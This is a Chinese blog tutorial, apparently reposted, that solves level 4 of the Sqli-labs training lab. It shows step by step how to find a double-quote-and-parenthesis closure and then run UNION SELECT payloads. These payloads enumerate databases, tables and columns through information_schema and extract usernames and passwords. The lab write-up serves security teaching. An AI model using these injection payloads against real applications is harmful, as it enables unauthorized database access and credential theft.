文章总结: 本文详解Sqli-labs第4关的括号闭合字符型SQL注入实战。通过分析报错推断后端结构,演示了UNIONSELECT联合查询获取数据库信息、表结构及凭证的完整流程。文章包含自动化脚本思路,适合学习特殊闭合场景的注入利用技巧。 综合评分: 81 文章分类: WEB安全,渗透测试,漏洞POC
SQL注入实战——Sqli-labs第4关实战攻破:括号闭合的字符型注入详解
原创
武文学网安
武文学网安
2025年12月26日 04:30 西藏
大家好,我是武文。今天我们继续实战SQL注入,攻破Sqli-labs第4关,这是一个典型的括号闭合字符型注入关卡。通过这一关,我们将学会如何处理带括号的SQL注入场景,这是实际渗透测试中经常遇到的类型。
一、关卡环境分析
1.1 关卡特点
第4关与前3关有明显不同:
- 页面URL:
http://localhost/sqli-labs/Less-4/ - 注入类型:字符型注入,带括号闭合
- 数据库:MySQL
- 难度:中等(需要正确识别闭合方式)
1.2 页面表现
访问?id=1,正常显示用户信息:
二、注入点探测与闭合方式判断
2.1 第一步:基础探测
测试1:单引号测试
id?=1'
页面正常,没有报错,分析单引号可能被转义或不是单引号闭合
测试2:双引号测试
id?=1"
响应报错。
关键信息:错误信息显示 "1""),说明:
- 使用了双引号闭合
- 有括号存在
错误信息:near '"1"") LIMIT 0,1'
"1""说明我们输入的1"变成了"1""- 最后的
)是SQL语句自带的括号
推导出后端SQL查询结构:SELECT*FROM users WHERE id=(“$id”)LIMIT0,1;
2.2 第二步:确认闭合方式
测试3:闭合括号测试
?id=1") --+ #注释掉后台末尾的双引号和括号
页面正常显示。成功! 确认闭合方式为:") 闭合
测试4:验证闭合
?id=1") and ("1"="1?id=1") and ("1"="2
第一条响应页面正常
第二条响应页面空白。可以得出结论:完全确认注入点为字符型,双引号闭合,带有括号。
三、信息收集阶段
和前面第一关的验证方式很像。SQL注入实战:在 information_schema 地图中,从理论走向攻击台可以参考。
3.1 确定查询列数
方法1:使用order by
?id=1") order by 1 --+?id=1") order by 2 --+?id=1") order by 3 --+?id=1") order by 4 --+
直到order by 1~3的页面响应均是正常的
order by 4页面响应报错,Unknown column ‘4’ in ‘order clause’,如下图:
可以得出结论,查询列数为3列。
方法2:使用union select验证
?id=-1") union select 1,2,3 --+
响应:页面显示数字2和3的位置,说明第2、3列是显示位。我们就可以通过显示位来显示出查询的信息。
3.2 获取数据库信息
当前数据库信息
?id=-1") union select 1,database(),version() --+
可以得到当前数据库:security,版本为10.1.38-MariaDB
当前用户信息
?id=1") union select 1,user(),3 --+
当前用户为:root@localhost
四、深入数据提取
4.1 获取所有数据库名
?id=1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+)
结果:
challenges,dvwa,information_schema,mysql,performance_schema,phpmyadmin,security,test
4.2 获取security数据库的所有表
?id=1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+)
结果:emails,referers,uagents,users
4.3 获取users表结构
?id=1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 --+)
可以得到emails的结构:id,email_id
?id=1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+)
可以得到users的结构:id,username,password
4.4 提取用户凭证数据
一次性获取所有用户
?id=1") union select 1,(select group_concat(username,':',password)from users),(select group_concat(password) from users),3 --+
得到结果:
五、自动化脚本实现
虽然手工测试很重要,但实际工作中我们会使用脚本提高效率:我这里还是用jupyter notebook来实验。
这里也是借助了AI帮我完成了脚本的编写。脚本实现了探测注入点,获取数据库基本信息和对应表格字段等信息。这里仅展示部分结果信息
测试脚本我依然放在了仓库github.com/Demonwuwen/cyberSecuritylearn,需要的同学可以自取。
六、技术要点总结与反思
通过本次Sqli-labs第4关的实战,我们成功掌握了括号闭合字符型注入的核心技术。这一关虽然看似简单,却蕴含着重要的实战技巧:
关键技能掌握
- 闭合方式精准识别:从错误信息
"1"")中准确推断出SQL结构WHERE id=("$id") - 系统化测试流程:从基础探测 → 闭合判断 → 列数确认 → 数据提取的完整链条
- 灵活运用注释技巧:
--+注释方式的实际应用
下期预告:我们将挑战更复杂的Sqli-labs第5关——基于错误的单引号盲注,探索在没有明显数据回显的情况下如何提取信息。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安《SQL注入实战——Sqli-labs第4关实战攻破:括号闭合的字符型注入详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论